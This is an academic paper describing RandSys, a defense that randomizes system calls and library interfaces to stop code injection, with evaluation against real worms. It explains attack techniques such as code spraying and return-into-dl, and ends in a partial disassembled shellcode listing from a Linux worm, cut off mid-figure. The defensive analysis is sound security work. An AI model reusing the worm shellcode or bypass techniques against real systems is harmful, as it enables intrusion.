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Abstract

Code injection attacks are a top threat to today’s Internet. With zero-day attacks on the rise, randomization
techniques have been introduced to diversify software and operation systems so that attacks that succeed on one
process or one host cannot succeed on others. Two most notable system-wide randomization techniques are
Instruction Set Randomization (ISR) and Address Space Layout Randomization (ASLR). The former randomizes
instruction set for each process, while the latter randomizes the memory address space layout. Both suffer from a
number of attacks. In this paper, we advocate and demonstrate that by combining ISR and ASLR effectively, we can
offer much more robust protection than each of them individually. However, trivial combination of both schemes
is not sufficient as ISR itself incurs prohibitive performance overhead. To this end, we make the key observation
that system calls are the instructions that are commonly used in the injected attack code and matter the most to
attackers. Our system, RandSys, uses system call instruction randomization and the general technique of ASLR
along with a number of new enhancements to thwart code injection attacks. We have built a prototype for both
Linux and Windows platforms. Our experiments show that RandSys can effectively thwart a wide variety of code
injection attacks with a small overhead.

1 Introduction

In recent years, we have witnessed an increasing number of reported software vulnerabilities, which have
resulted in many security incidents. According to the NIST National Vulnerability Database [13], there are as
many as 11, 691 reported vulnerabilities before the end of July, 2005. Further analysis reveals the following break-
down across vulnerability types: input validation errors (50.4%) including buffer overflows (17.8%) and boundary
condition errors (4.2%), access validation errors (9.6%), exception condition errors (10.4%), environment errors
(1.3%), configuration errors (5.1%), race conditions (1.7%), design errors (21.6%); and other errors (1.7%).

A prevalent form of attacks, commonly known as code injection attacks, is to exploit a software vulnerability
on a host and cause malicious execution of either injected attack code or pre-existing code (such as libc functions)
with the same privilege as the compromised process. Such attacks can exploit many vulnerability types, such as
input validation errors, exception condition errors, and race conditions. Code injection attacks pose serious threat
today: fast- and wide-spreading worms such as CodeRed [5], Slammer [10], Blaster [9], and Sasser [11] all depend
on the successful execution of injected machine code to complete their infections and replications. In this paper,
we focus on remote machine-code injection attacks, but not other code injection attacks, such as SQL injection
and Cross-Site Scripting attacks. For the purpose of exposition, we use the conventional term “shellcode” to refer
to the injected machine code1.

1Nevertheless, the purpose of the shellcode does not necessarily restrict to spawning a command shell. We give a detailed explanation



While patches and recently proposed shields [49] can protect known vulnerabilities, zero day exploits are on the
rise [15, 12] and demand a more proactive approach. Forrest et al [31] advocated building diversity into software
and operating systems in the first place, using data layout as well as code randomization to undermine replicated
attacks including zero-day ones. There are two main system-wide randomization techniques proposed since:
Instruction Set Randomization (ISR) [33, 44, 19, 20] and Address Space Layout Randomization (ASLR) [2, 50,
21, 22]. ISR creates a randomized instruction set for each process so that instructions in shellcode fail to execute
correctly even though attackers have already hijacked the control flow of the vulnerable process. ASLR, instead,
randomizes the memory address layout of a running process (including library, heap, stack, and relative distances
between data and code2) [2, 50, 21, 22] so that it is hard for attackers to locate injected shellcode or existing
program code (e.g., libc functions), hence preventing attackers from hijacking the control flow.

Both randomization schemes suffer from a number of attacks. ISR is vulnerable to attacks that avoid using
injected machine instructions. For example, ISR suffers from return-into-libc attacks [33, 19, 20] in which
attackers call pre-existing library functions (e.g., system()) without the need of injecting malicious instructions.

Analogously, ASLR suffers from attacks that avoid using specific memory addresses. It is true that ASLR
makes control-flow hijacking more difficult, since the locations of pre-existing code (e.g., libc functions) or
injected shellcode are hard to predict and function pointers that attackers often aim to overwrite are randomized.
Nevertheless, shellcode locations might still be easy to guess. For example, a new form of attack which we
call “code spraying” attacks, could exploit a buggy application behavior and “spray” a shellcode repetitively
throughout large write-able user-level memory areas (say 256MB) — this leaves only 4 bit entropy in the current
32 bit architecture for attackers to guess the location of a shellcode replica. Furthermore, control data can be
overwritten without knowing their precise location. For example, attackers can overflow a memory area that likely
contains a code pointer, with repetitive guessed addresses [21]; we call such attack behavior “address spraying”.

In this paper, we advocate and demonstrate that by combining ISR and ASLR effectively, we can offer much
more robust protection than each of them individually.

Although a trivial combination of ISR and ASLR can address all aforementioned attacks, such a system
cannot be practically deployed. The reason is that ISR incurs prohibitive performance overhead because of its
additional per-instruction de-randomization and no hardware support is yet available [33, 19, 20]. Here, we make
the key observation that system call instructions are almost always used by shellcode to carry out its malicious
actions. Therefore, we can simply randomize these system call instructions that matter the most to attackers and
significantly reduce the ISR overhead. Our system, called RandSys, uses system call instruction randomization
and the general technique of ASLR to thwart code injection attacks. We refer to system call instructions and their
associate library APIs as system service interface. RandSys performs randomization at the process load time by
instrumenting the process with a thin transparent virtualization layer that randomizes system service interface;
while at run-time, it de-randomizes the instrumented interface for correct execution.

It is important to note that by randomizing only selective instructions, attackers have more power if they can
overcome the ASLR part of the scheme and hijack the control flow. To this end, we strengthen the state-of-the-art
ASLR schemes with a number of new techniques. We perform function name randomization so that function
import and export tables are essentially encrypted and attackers are unable to handcraft assembly code to access
these tables. Furthermore, we employ “decoys” in the function export table pointing to access-protected “guard
pages”, so that RandSys can undermine “function fingerprinting” attacks that walk through function export tables
and look for a known function fingerprint. We also carefully manage randomization in function import and export
tables so that attackers cannot correlate two tables in finding a function. Furthermore, we develop heuristics for
detecting pages that contain shellcode.

RandSys raises the bar for code injection attacks significantly. To launch a successful attack, attackers would
need to mount kernel code injection attacks or non-control-data attacks [25]. RandSys does not defeat kernel
code injection attacks because it targets user-level attacks by randomizing system service interface between user

on shellcode for both Linux and Windows platforms in Appendix A.
2For exposition, we categorize address obfuscation [21] as an ASLR scheme.
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programs and the kernel. In non-control-data attacks, security-critical application data, such as configurations, user
identity, user input, or decision-making data, rather than control data such as return addresses or function pointers
are corrupted by memory error exploits. In such attacks, code injection may not happen in the first place; and in
such cases, RandSys would not be effective. In addition, RandSys may cause disruptions to programs with self-
modifying code, where a system service invocation instruction may be dynamically created. Another limitation
of RandSys is that it makes debugging and diagnostic tasks more difficult, a common problem in randomization-
based techniques. These limitations will be addressed in our future research.

We have built a prototype of RandSys in both Linux and Windows platforms. Our experiments show that
RandSys can defeat a wide variety of code injection attacks while incurring low performance penalty, a 2.5-
microsecond overhead for each system call invoked. Like both ISR and ASLR, RandSys is a proactive scheme
that is independent of vulnerability-specific details, and hence can defeat zero-day attacks. Our RandSys prototype
has successfully thwarted attacks on the Windows JView Profiler vulnerability (MS05-037/July, 2005) and the
Microsoft Visual Studio .NET “msdds.dll” vulnerability (August 17, 2005) even before their patches became
available. Based on our experiments, RandSys readily supports all the user-level applications that we experimented
with, including the Apache/IIS web server, various FTP daemons, Internet Explorer and Firefox web browsers.

In the rest of the paper, we first present the RandSys design, including a method for dynamic code injection
detection, in Section 2. We then give a detailed security analysis of RandSys in Section 3. We describe the
RandSys implementation in Section 4 and demonstrate its effectiveness against a number of real-world attacks in
Section 5. A concrete code spraying attack will also be described in Section 5. We compare and contrast RandSys
with related work in Section 6. Finally, we conclude in Section 7. In Appendix A, we give a detailed background
description of shellcode.

2 RandSys Design

In this section, we first briefly describe shellcode on both Linux and Windows platforms. We then present our
design of load-time randomization and run-time de-randomization schemes in RandSys. Finally, we discuss a
method for dynamic code injection detection as our next line of defense.

2.1 Shellcode

The Linux OS maintains a consistent and backward-compatible mapping between system call numbers and
their corresponding functionalities. Linux also provides user-level programs a consistent calling convention for
making system calls. Most of Linux-based shellcodes directly interact with the underlying Linux kernel using the
calling convention and system call numbers.

Unlike Linux, the Windows OS does not maintain a consistent system call number mapping. Instead, it offers
user-level applications a consistent and backward-compatible library APIs. Consequently, most of Windows-based
shellcodes interact with Windows OS with these library APIs.

Despite common shellcode practices, it is still possible for a Linux-based shellcode to indirectly invoke system
functions via libc APIs; similarly, a Windows-based shellcode may directly issue an undocumented system call to
mount a less portable but more specific attack on a chosen platform.

2.2 Load-Time Randomization

2.2.1 System Call Load-Time Randomization

When a process is first created, RandSys takes over the control (e.g., intercepting the sys execve system call in the
kernel) before the first instruction of the program is executed. RandSys searches for system call invocations, such
as “int $0x80” in Linux and “int $0x2e” or “sysenter” in Windows. For each identified system call i at memory
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location Li, the original system call number So
i is overwritten with a new, randomized system call number Sn

i

using the following equation:

Sn
i = RK(So

i , Li).

RK is our load-time system-call randomization algorithm using key K. RK takes two parameters: the original
system call number So

i , and the location of the call Li. Note that even the same system call at different locations
will yield different call numbers. We maintain the key K in the kernel space. And we used DES encryption in our
prototype. A more aggressive scheme can further randomize the system-call calling convention, such as permuting
the roles among EAX, EBX, ECX, and EDX registers or padding system call parameters.

In Windows, dynamically linked libraries may be loaded into a process at run-time. In RandSys, we instrument
and randomize system calls in these dynamically loaded libraries by intercepting library-loading APIs (e.g.,
“LoadLibraryA”). Note that an attacker may attempt to misuse this support. We defer the related security analysis
to Section 3.

2.2.2 Library API Load-Time Randomization

RandSys enables two types of library API randomization: library re-mapping and function randomization.
Library re-mapping is an existing ASLR technique, which renders exploits (e.g., regular return-into-libc

attacks) that depend on predetermined memory addresses useless. Libary re-mapping randomizes library base
addresses and re-organizes internal functions. Randomizing the library base addresses makes it hard to predict the
absolute address of a library. Re-organizing internal functions makes the relative address-based attacks unlikely
to succeed. The re-mapping modifies the import and export function tables used by dynamic linking. For example,
re-organizing exported functions alters the .dynamic/.dynstr section3 in Linux or the Export Address Table (EAT)4

in Windows, while re-organizing imported functions modifies the PLT/GOT5 component in Linux and the Import
Address Table (IAT) in Windows. Library re-mapping does not need to be de-randomized at run-time since
function import and export tables already contain randomized function locations.

Function randomization is one of our new enhancements to strengthen existing ASLR schemes. It provides
function name randomization and API calling convention shuffling. Function name randomization makes function
name-lookup unique to each process, while API calling convention shuffling randomizes the run-time API inter-
face by shuffling existing parameters and padding new ones. Function randomization is needed because we want
to prevent attackers from handcrafting machine code to access function import and export tables and to look for
the randomized location of desired function names.

Name randomization replaces a function name with another randomized name string. We note that a naive name
randomization scheme that generates an identical function name for both the import library and the export library
would suffer from the correlation attack. An attacker can correlate the imported function names from one library
(e.g., through IAT in Windows) with the exported function names in another (e.g., through EAT), and infers the
function. To counter this attack, name randomization applies different randomization algorithms based on whether
the function is imported or exported: (1) If a function is exported to other library modules, the corresponding
function name F o

E is randomized to another name string F n
E = RE(F o

E), where RE is the randomization algorithm
applied to the exported function names. (2) If a function is imported by module Mi, the imported function name F o

I

is randomized to another name F n
I = RI(F

o
I , Mi), where RI is the randomization algorithm with two parameters:

the imported function names and the run-time base address of the importing library module Mi. Please note
3.dynamic/.dynstr section contains the dynamic linking information used in Linux. More details can be found in [4].
4Note that the EAT is a term commonly referred to in the Windows Portable Executable (PE) file format. Essentially, each EAT table

entry contains all necessary information, including the name and actual location of the corresponding function exported by this library.
Interested readers are referred to [41] for more details.

5PLT represents “Procedure Linkage Table” while GOT means “Global Offset Table”. Both data structures are used in Linux systems
for dynamic function name resolution. More information can be found in [23].
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that although different modules may import the same function, RI generates different randomized names. (3)
Finally, the name inconsistency caused by these two different randomization functions can be resolved at run-time
by a dedicated process-specific name resolution routine, such as a customized dl runtime resolve() in Linux or
GetProcAddress() in Windows.

Function fingerprinting is a commonly used attack technique. One variant of such technique scans the function
export tables and searches for a known function fingerprint that is in the form of either an instruction sequence or
the function’s hash value. To combat this type of attack, we add “decoy” entries to the function import and export
tables; each decoy entry points to a guard page, which is a page with the access protection such as PROT NONE
in Linux or PAGE NOACCESS in Windows [3]. Any attempt to read, write, or execute on a guard page will result
in an access violation exception.

In a more advanced variant of function fingerprinting attack, attackers attempt to understand the program se-
mantics and to identify those locations making a particular function call (e.g., via certain stack-based information).
Our randomization schemes, including API convention shuffling and additional code injection detection schemes
(to be presented in Section 2.4), can significantly increase the difficulty for this type of attack. The detailed analysis
is deferred to Section 3 after the detection scheme is presented.

2.3 Run-Time De-randomization

2.3.1 System Call De-randomization

The execution of the system call instruction (e.g., “int $0x80” in Linux or “int $0x2e” or “sysenter” in Windows)
generates a software trap to kernel mode and invokes the system call dispatcher. The system call dispatcher
dispatches the system service routine according to the register that contains the system call number (e.g., EAX)6.
In RandSys, we customize the system call dispatcher to perform de-randomization. The dispatcher first inspects the
stack or its context environment to derive the actual memory location Li at which a system call i with randomized
system call number Sn

i is made. Then, RandSys recovers the original system call number So
i = R−1

K (Sn
i , Li)

where R−1

K is the run-time de-randomization algorithm of its load-time counterpart RK .

2.3.2 Function Name Resolution

As described in Section 2.2.2, function name randomization purposely causes name inconsistency between func-
tions in export table and the same functions imported by other modules in their respective import tables. To
resolve this inconsistency, we use a run-time name resolution function RR which maps a randomized imported
function name to its corresponding randomized exported function name with the import module base address Mi

as a parameter, namely,

RR(RI(plaintext function name, Mi), Mi) = RE(plaintext function name).

We could have applied two de-randomization functions R−1

E and R−1

I to randomized exported and imported
function names, respectively. However, this incurs twice as much overhead as applying RR just once.

2.4 Dynamic Injection Detection

One attack against RandSys is to identify and jump to existing application code (including libc functions) that
invokes system service interface. To this end, we develop a dynamic injection detection scheme to enable defensive
execution of the existing program code, including the detection and termination of a shellcode execution. Since
a shellcode is dynamically injected into a running process, the code page containing the shellcode needs to be
writable for the injection. However, at the same time, the shellcode is not a part of the original program code.

6If the system call convention is shuffl ed, the registers need to be de-shuffl ed first.
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Hence, there are two inherent characteristics associated with the code page containing the shellcode: (1) it is
writable; and (2) it is not mapped from the executable file. Note that these two characteristics will not be exhibited
in any normal program that does not contain any self-modifying code. Based on this observation, we use the
following heuristics to detect shellcode’s existence on a page when an existing system call or library function is
invoked:
DYNAMICINJECTIONDETECTION(EBP )

1 depth← 0
2 while ISSTACKFRAMEVALID(EBP )and (depth ≤ BACKTRACE DEPTH)
3 do return addr ← GETRETURNADDR(EBP )
4 code page← GETPAGEFROMADDR(return addr)
5
6 if ISPAGEWRITABLE(code page)or not DOESPAGECOMEFROMFILE(code page)
7 then return INJECTION DETECTED
8
9 EBP ← GETNEXTFRAME(EBP ); depth← depth+ 1

10 return UNDETECTED

Essentially, the detection algorithm is a recursive stack-based inspection algorithm, which traverses the stack
frame to assess whether the code page containing the return address matches these two characteristics. Dynamic
injection detection can be performed for any library API (within its prologue or epilogue). In addition, the system
call dispatcher, which performs run-time system call de-randomization, can also be extended to perform this task.

3 Security Analysis

In this section, we analyze potential attacks against RandSys. We first analyze RandSys’ effectiveness against
illegitimate direct system service invocations. We then examine the case of indirect invocations where attack code
indirectly branches to a program location from which the execution eventually invokes the intended system service.

3.1 Attacks Using Direct System Service Invocation

An attacker may directly use system calls in shellcode. The system call randomization of RandSys easily
defeats such straightforward attacks. Furthermore, RandSys is resilient to replay attacks where attackers re-use
randomized system calls. This is because our randomization algorithm takes the memory location of a system call
as a parameter — two system calls with the same system call number will be de-randomized into two different
system call numbers since they are at different locations.

Attackers may attempt to acquire the randomization key directly. This attempt is also defeated by RandSys.
The reason is that the randomization key is stored in the kernel space; and user-level programs are unable to get
the randomization key. However, RandSys is not effective against kernel-level code injection attacks which could
be used to tamper the key or carry out other malicious actions.

Attackers could also try to construct plaintext-ciphertext pairs to bruteforce the key. RandSys makes this very
difficult. Firstly, a strong encryption algorithm and a long key makes it almost impossible to crack the key.
Secondly, because our randomization algorithm is location-dependent, attackers are forced to scan code memory
to collect the precise locations as well as the semantics of the instructions. Our decoy and guard page mechanisms
(Section 2.2.2) can detect and undermine such scanning activity. Lastly, our dynamic injection detection technique
in Section 2.4 serves as another line of defense.

Finally, attackers can also try to implement their own versions of library functions. However, such attacks are
limited in the following aspects: (1) The duplication of logic may significantly increase the shellcode size; this
makes certain attacks impossible (e.g., a buffer overrun attack is limited by the vulnerable buffer size); and (2)
An attacker-crafted function is likely to invoke other system services provided by OS (e.g., opening a socket and
sending packets), which is hard to succeed as to be discussed in the next subsection.
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3.2 Attacks Using Indirect System Service Invocation

Instead of invoking system service interface directly, an attacker may try to reuse existing system service
invocations in the vulnerable program.

To this end, an attacker must first accurately locate the memory location of the desired system call or associated
library API invocation instructions, and then branch to that location to eventually invoke the intended system
service. RandSys makes such attacks hard to succeed in a number of ways:

• Firstly, the use of ASLR makes the memory location of both shellcode and pre-existing code (e.g., libc
functions) hard to predict, and hence effectively defeats return-into-libc attacks and making control flow
hijacking difficult. An advanced form of the return-into-libc attack, called return-into-dl attack was in-
troduced by Nergal to compromise PaX [2] – a representative ASLR implementation [38]. In this attack,
attackers do not directly invoke a libc function. Instead, it “returns” to the dynamic linker’s functions (e.g.,
dl runtime resolve()) to look up the randomized location of the desired function by its name. RandSys
can defeat this attack in two ways: (1) The dl runtime resolve function (or GetProcAddress in Windows)
is randomized by library-remapping; (2) Even if the attacker can handcraft dl runtime resolve function (or
GetProcAddress in Windows) to directly access function import or export tables for randomized function
locations (e.g., MSBlast’s shellcode as shown in Figure 3(a)), our function randomization mechanism
(Section 2.2.2) effectively undermines such attempts.

• Secondly, even if attackers can successfully hijack the control flow of a process, since RandSys randomizes
system calls and their associated library APIs, the only way for attackers to invoke system services is to
find the memory locations of the desired system service-invocation instructions in the pre-existing program
code. Such memory-scanning activity can be efficiently undermined by our trap mechanisms such as decoys
and guard pages. Although it is possible for attack code to peek through the stack, find the location of a
particular function, and then calculate the offset of the intended system service call within the function, such
approach requires an in-depth understanding of run-time program stacks (and possibly program semantics).

• Lastly, even if the memory location of desired system service invocation in the pre-existing program code
is identified, the attack code still faces the challenge of regaining control after unidirectionally reaching that
location. The reason is that a remote attack often needs to chain together a sequence of system service
calls to achieve its goal7. For example, the attack code from the Slapper worm shown in Figure 2(b)
makes a sequence of system calls (e.g., sys getpeername, sys dup2, sys setresuid, and sys execve) for its
infection. The Sasser worm shown in Figure 3(b) invokes a sequence of library APIs (e.g., “LoadLibraryA”,
“WSASocketA”, “bind”, “listen”, and “accept” etc) for its replication.

Nergal et al [38] introduced two main techniques, “esp-lifting” and “frame-faking”, for chaining system
service invocations. These techniques manipulate the stack, such as lifting the ESP register or forging a
stack frame, to regain the control after one libc call is invoked. However, both approaches have their own
limitations: as acknowledged in [38], “esp-lifting” is only applicable for those binaries compiled with a
certain optimization switch, i.e., -fomit-frame-pointer; and “frame-faking” must be aware of the precise
locations of those fake frames — this can be effectively defeated by RandSys. Furthermore, both techniques
can be mitigated by RandSys’ dynamic injection detection since the detection algorithm in Section 2.4 can
be simply extended to detect the existence of those “esp lifting” or “frame faking” instructions.

Recently, Kruegel et al [35] introduced a static binary analysis approach to identify and modify possible code
pointers (e.g., in PLT/GOT table) that, if overwritten, can be used to regain the control flow. Note that this

7There exists the possibility for a single-shot attack that invokes a single system service and invokes it only once. Please note that (1)
This constrained attack still bears the burden to understand program semantics and defeat the enhanced ASLR in RandSys; and (2) The
victim process is likely to crash right after the attack (which could lead to its detection) because the stack frame or control flow is corrupted
by the attack.
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approach assumes predetermined memory locations of those code pointers. Existing ASLR schemes such
as library re-mapping (Section 2.2.2), TRR [50], and Address Obfuscation [21] can effectively mitigate
this type of attack, as the run-time PLT/GOT table or code pointers in general can also be randomized or
obfuscated.

Now, we examine another threat: as RandSys supports run-time library loading (Section 2.2.1), attackers might
attempt to abuse this support to make an illegitimate library loading. More specifically, after circumventing ASLR
and hijacking the control flow, an attacker may intentionally invoke LoadLibraryA to load a library with intended
functions. Since this library call needs to make several system calls (e.g., reading files from the disk) and RandSys
thwarts illegitimate direct system calls and captures illegitimate direct invocation of the pre-existing LoadLibraryA
code, attackers must rely on pre-existing program code to indirectly invoke the LoadLibraryA call and then come
up with a way to re-capture control after loading the library. Based on our earlier discussion, RandSys make such
attempts hard to succeed.

4 Implementation

In this section, we describe the RandSys proof-of-concept implementation in both Linux and Windows plat-
forms. Due to space constraint and considering the common practice of writing shellcode on these platforms
(Appendix A), system call randomization will be mainly described in the context of Linux platforms while library
API randomization will be presented by focusing on Windows platforms8.

4.1 Execution Control Interception

Load-time control interception In Linux-based systems, RandSys intercepts the sys execve system call and
then applies load time randomization (Section 2.2.1 and 2.2.2). For Windows, the implementation is different:
A DLL library is first injected to existing running processes and the DLL library will hook a number of critical
library APIs, including CreateProcess(). Once a new process is created, the hooked CreateProcess() will create
the new process in a suspended state and then perform the necessary load time randomization before resuming
process execution.

Run-time control interception Run-time control interception mainly involves the system call de-randomization
and library API name resolution. RandSys has a kernel module which patches the system call dispatcher so that
it can transparently convert a randomized system call number to its original number. To achieve transparent
library API name resolution, RandSys hooks a number of related function calls such as dlsym() in Linux and
GetProcAddress() in Windows. To support run-time library loading, additional functions such as dlopen() in
Linux and LoadLibraryA() in Windows also need to be refined. In addition, the system call dispatcher and various
library API functions are intercepted to perform dynamic injection detection (Section 2.4).

Exception interception The introduction of decoy entries and guard pages (Section 2.2.2) provides an op-
portunity to detect and identify illegitimate read or execute accesses. RandSys hooks the exception handler,
i.e., SIGSEGV in Linux and the Structured Exception Handler (SEH) [16] in Windows. More specifically, our
Windows prototype hooks the KiUserExceptionDispatcher API, which is exported by ntdll.dll, to intercept the
exception raised by the process. Once an exception is intercepted, RandSys checks whether it is caused by
reference to a decoy entry. If not, the exception will be passed to the normal SEH chain. Otherwise, it is considered
as an illegitimate access and the current prototype will attempt to terminate the mis-behaving process.

We would like to point out that exception interception can be leveraged to thwart brute-force attacks. Existing
works [46, 43] have demonstrated that the brute-force attack is able to defeat both ISR [33, 19] and ASLR [2]
schemes. However, the detection of brute-force attacks is relatively easy because they will result in frequent
crashes in the victim processes. Since our RandSys prototype directly intercepts possible exceptions before they
are dispatched, it is by design robust against brute-force attacks.

8We are still in the process of completing the library API randomization support for Linux-based systems.
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4.2 System Calls Randomization and De-randomization

        ...
ENTRY(system_call)
        pushl %eax                      # save orig_eax
        SAVE_ALL
        GET_CURRENT(%ebx)
        testb $0x02,tsk_ptrace(%ebx)    # PT_TRACESYS
        jne tracesys

        movl %esp,%eax

        cmpl $(NR_syscalls),%eax
        jae badsys
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
        movl %eax,EAX(%esp)             # save the return value
        ...

#ifdef  CONFIG_RANSYS

#endif
        call SYMBOL_NAME(randsys_derand)

Application

Randomized System Call

RandSys Userland

Userland

RandSys Kernel

ENTRY(system_call)

Kernel

Figure 1. System Call Randomization and De-randomization in RandSys (Linux Version)

After gaining the execution control at load-time, RandSys will first attempt to locate those instructions making
system calls. It can disassemble all process code segments and find the system call instructions, i.e., “int $0x80” in
Linux or “int $0x2e/sysenter” in Windows. However, this may incur considerable load-time latency. An alternative
is to perform an offline analysis to identify the system call locations (Section 5.1). For each system call occurrence,
the original system call number will be randomized (Section 2.2.1) as another system call number, which can later
be interpreted by the RandSys kernel. Once the new system call number is calculated, the instruction assigning
the original system call number to the EAX register will be instrumented to reflect the new system call number.
Figure 1 shows how the original Linux system call dispatcher, i.e., ENTRY(system call)), is modified to support
RandSys. Note that the RandSys kernel SYMBOL NAME(randsys derand) needs to inspect the stack to locate the
exact calling location, which is needed to recover the original system call number. Table 1 shows a number of
library modules and the number of system calls within each library module.

Red Hat Linux 8.0 Windows XP Professional (SP2)
libc-2.2.93.so ld-2.2.93.so ntdll.dll user32.dll gdi32.dll imm32.dll winsrv.dll

# System Calls 235 39 284 266 366 18 21

Table 1. Sample Library Modules and Number of System Calls in Each Module

4.3 Library API Randomization and De-randomization

Due to the critical need for DLL library support in Windows, this section is presented in the context of Windows-
based systems.

Library re-mapping Right after a new process is created but before its instructions are executed, RandSys
will take over its execution, inspect the loaded modules, and attempt to re-map or rebase these modules to other
random locations. As mentioned in Section 2.2.2, library re-mapping requires certain modifications to IAT/EAT
table entries affected. The purpose of re-mapping libraries is to make their absolute and relative addresses less
predictable. In addition, special decoy entries are intentionally planted to trap possible illegitimate references.

Function randomization RandSys intercepts two important function calls, i.e., LoadLibraryA() and GetPro-
cAddress(). The first function is extensively used by Windows systems to enable run-time library loading and
needs to be intercepted to perform delayed load-time randomization. The second function is also extensively used
by Windows systems to resolve a function based on its string name. Since the function names will be randomized
differently based on their resident modules, the interception of GetProcAddress() is necessary to resolve possible
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name inconsistency. Note that both Windows and Linux have a well-defined interface to resolve functions at
run-time, which makes this randomization procedure straightforward.

5 Evaluation

In this section, we first present RandSys latency measurement results in Section 5.1. We then present a number
of experiments with more than 60 real code injection attacks, including those attacks from well-known self-
propagating worms (Section 5.2). As RandSys does not require any prior knowledge about vulnerabilities and their
exploitation means, RandSys is effective against zero-day exploits. This capability is demonstrated by results from
two zero-day “in-the-wild” exploits, which did not have any software patch when we conducted our experiments
(Section 5.3).

5.1 RandSys Latency

By performing load-time randomization and run-time de-randomization, RandSys introduces both load-time
and run-time latency to the protected process. To measure the latency, we set up two physical hosts (with alias
RANSYS LINUX and RANSYS WIN, respectively). RANSYS LINUX is a Dell desktop PC running Red Hat
Linux 8.0 with 596.913MHz Intel Pentium III (Katmai) processor and 384MB RAM while RANSYS WIN is
another Dell desktop PC running Windows XP Professional (SP2) with 2.2GHZ Intel Xeon processor and 512MB
RAM. We use several popular applications for RandSys latency measurement. The results are shown in Table 2.

Red Hat Linux 8.0 Windows XP Professional (SP2)
Apache Web Server vsftpd FTP Server Internet Explorer 6.0 IIS Server 6.0

(httpd-2.0.40-8) (vsftpd-1.1.0-1)
Load-Time Latency 11.1 (seconds) 3.9 (seconds) > 1 (minute) > 1 (minute)
(Online Disassembly)
Load-Time Latency 0.3 seconds 0.3 seconds 0.5 seconds) 0.5 seconds
(Offline Analysis)
Run-Time Latency 1500 cycles/syscall 1500 cycles/syscall 1650 cycles/syscall 1650 cycles/syscall

Table 2. Load-time and Run-time Latency of RandSys

Table 2 indicates that RandSys with online disassembly incurs much longer load-time latency than RandSys
using offline analysis. It may appear that the load time due to online disassembly is unacceptable to frequently
used applications. However, we note that the disassembly only needs to be performed once when a new application
is first introduced. The disassembly result can be reused in future runs without incurring the disassembly latency
again. Table 2 also shows that system call de-randomization only introduces a small performance degradation,
which is largely caused by the de-randomization algorithm. The DES algorithm usually takes only 1, 200 CPU
cycles (2 microseconds) to perform decryption. Moreover, optimization opportunities exist to further reduce the
run-time latency. For example, instead of performing DES decryption for every system call invoked, a local hash
table can be gradually built up to store the system call pairs and the associated memory location. Lookup in this
hash table will further speed up the de-randomization process.

5.2 Thwarting Existing Code-Injection Attacks

We have experimented with over 60 existing code-injection attacks. RandSys is able to thwart all these attacks.
Table 3 shows a selected subset of those attacks, including the recent Zotob worm [17]. Especially, the last
column of Table 3 highlights the thwarting techniques from RandSys that defeat the corresponding attacks. In the

10



Attack Reference Description Platform Thwarting RandSys Techniques
CodeRed MS01-033 Unchecked Buffer in the Windows Enhanced ASLR

CAN-2001-0500 Index Server ISAPI Extension (EAT Randomization)
Slammer MS02-039 Buffer Overrun in the SQL Windows Enhanced ASLR

CAN-2002-0649 Server 2000 Resolution Service (IAT Randomization)
MSBlast MS03-026 Buffer Overrun in Windows Enhanced ASLR

CAN-2003-0352 the RPC DCOM service (EAT Randomization)
Sasser MS04-011 Buffer Overrun in Windows Enhanced ASLR

CAN-2003-0533 the LSASS service (EAT Randomization)
Witty CAN-2004-0362 ICQ Parsing Vul. in the ISS Protocol Windows Enhanced ASLR

Analysis Module (PAM) component (EAT Randomization)
Zotob MS05-039 Buffer Overrun in the Plug and Windows Enhanced ASLR

CAN-2005-1983 Play service (August 14, 2005) (EAT Randomization)
Ramen CVE-2000-0917 LPRng Format String Bug Linux System Call

CVE-2000-0573 WU-FTPD Format String Bug Randomization
CVE-2000-0666 RPC.STATD Format String Bug

Lion CAN-2001-0010 BIND 8 Buffer Overrun Linux Sys. Call Rand.
Slapper CAN-2002-0656 OpenSSL 0.9.6d Buffer Overrun Linux Sys. Call Rand.

Malicious MS05-002 Vulnerability in the Cursor Windows Enhanced ASLR
Web Site CAN-2004-1305 and Icon Format Handling in IE (EAT Randomization)
Malicious MS05-014 Heap Memory Corruption in Windows Enhanced ASLR
Web Site CAN-2005-0055 IE DHTML method (Decoys + Guard Pages)
Malicious MS05-020 Race Condition in IE DHTML Windows Enhanced ASLR
Web Site CAN-2005-0053 Object Memory Management (EAT Randomization)
Malicious MS05-025 PNG Image Rendering Windows Enhanced ASLR
Web Site CAN-2005-1211 Memory Corruption in IE (Decoys + Guard Pages)
Zero-Day MS05-037 IE JView Profiler Vulnerability Windows Enhanced ASLR
Exploit CAN-2005-2087 (July 6, 2005) (EAT Randomization)

Zero-Day MS05-052 Visual Studio .NET “msdds.dll” Remote Windows Enhanced ASLR
Exploit CAN-2005-2127 Code Execution Exploit (August 17, 2005) (EAT Randomization)

Table 3. A Representative Subset of Code Injection Attacks Thwarted by RandSys

following, we choose four representative attacks by the Lion worm [6], Slapper worm [39], MSBlast worm [9],
and Sasser worm [11] to elaborate how RandSys successfully corrupts their infections.

Effectiveness of system call randomization Figure 2(a) and Figure 2(b) show the shellcodes injected by the
Lion worm and the Slapper worm, respectively. It is interesting to observe that the two different shellcodes have
very similar functionality: when the shellcode in either Lion or Slapper worms is executed, it first searches for
the socket of the TCP connection with the attacking machine and reuses this connection for further infection
such as spawning a shell. More specifically, the shellcode cycles through all the file descriptors and issues a
sys getpeername system call on each file descriptor until the call succeeds and indicates that the peer TCP port
is from the attacking machine. The system call randomization of RandSys effectively breaks the consistent static
system call mapping in Linux (Appendix A) and thus successfully corrupts the worm infection. More specifically,
each worm infection is corrupted when the first system call, sys getpeername, is attempted, as highlighted in
Figure 2.

Effectiveness of enhanced ASLR randomization The first two worm examples show the effectiveness of
system call randomization. We next demonstrate the effectiveness of our enhanced ASLR techniques. Figure 3(a)
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eb 3b             /* jmp     <shellcode+0x3d>       */ ; <shellcode + 0x0>
31 db             /* xorl    %ebx,%ebx              */ ; <shellcode + 0x2>
5f                /* popl    %edi                   */
83 ef 7c          /* sub     $0x7c,%edi             */
8d 77 10          /* leal    0x10(%edi),%esi        */
89 77 04          /* movl    %esi,0x4(%edi)         */
8d 4f 20          /* leal    0x20(%edi),%ecx        */
89 4f 08          /* movl    %ecx,0x8(%edi)         */
b3 10             /* movb    $0x10,%bl              */
89 19             /* movl    %ebx,(%ecx)            */
31 c9             /* xorl    %ecx,%ecx              */
b1 ff             /* movb    $0xff,%cl              */
89 0f             /* movl    %ecx,(%edi)            */ ; <shellcode + 0x1c>
51                /* pushl   %ecx                   */
31 c0             /* xorl    %eax,%eax              */
b0 66             /* movb    $0x66,%al              */
